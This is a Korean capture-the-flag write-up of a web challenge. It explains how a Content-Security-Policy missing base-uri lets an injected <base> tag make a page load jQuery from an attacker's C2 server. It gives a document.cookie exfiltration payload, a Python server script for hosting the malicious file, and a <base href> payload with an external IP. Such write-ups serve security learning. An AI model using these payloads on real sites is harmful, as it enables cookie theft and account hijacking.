반응형
문제풀이
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response
base-src
이 설정되지않았다.
base-src
는 설정되지않으면 default로 base 태그를 사용할 수 있도록 허용한다.
<base>
태그는 HTML 문서 내에서 상대적인 URL 경로를 기준 URL로 설정하는 데 사용되는 태그다. 이 태그를 사용하면 모든 상대적인 URL이 기준 URL을 기준으로 해석되고 원하는 경로로 연결됩니다.
HTML 파일에서 로드되는 script를 보면 위와 같은 경로로 jquery 라이브러리를 로드한다.
base 태그를 삽입할 수 있는 상황이므로 공격자의 C2 서버를 기준으로 URL이 해석되도록 유도할 수 있다.
즉, 공격자의 C2 서버에 동일한 경로의 jquery 라이브러리 파일을 작성하고 내용만 쿠키를 탈취하는 js 코드를 작성하면 클라이언트에서는 C2 서버로부터 악성 jquery 라이브러리가 로드되고 쿠키를 탈취하는 js 코드가 실행될 수 있는 것이다.
공격을 진행해보자.
C2 서버에 /static/js/jquery.min.js
파일을 생성하고 다음의 payload를 저장한다.
location.href='http://127.0.0.1:8000/memo?memo='+document.cookie
쿠키를 memo에 저장하는 payload다.
#!/usr/bin/env python
# vim: fileencoding=utf-8 sw=4 ts=4 sts=4 et
from __future__ import print_function
import sys
if sys.version_info < (3, 0):
import SimpleHTTPServer as httpserver
import SocketServer as socketserver
socketserver.TCPServer.__enter__ = lambda self: self
socketserver.TCPServer.__exit__ = lambda self, *args: self.server_close()
else:
import http.server as httpserver
import socketserver
PORT = 8000
Handler = httpserver.SimpleHTTPRequestHandler
Handler.extensions_map.update({
'.markdown': 'text/markdown',
'.md': 'text/markdown',
'.wasm': 'application/wasm',
})
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
위 코드로 C2 서버에서 http 웹 서버를 실행한다.
<base href='http://[IP]:[PORT]/'>
// ex)
<base href='http://35.237.239.96:8000/'>
base 태그를 이용한 payload다.
base 태그를 전송해서 C2 서버로부터 라이브러리 파일을 다운로드 받도록 유도한다.
반응형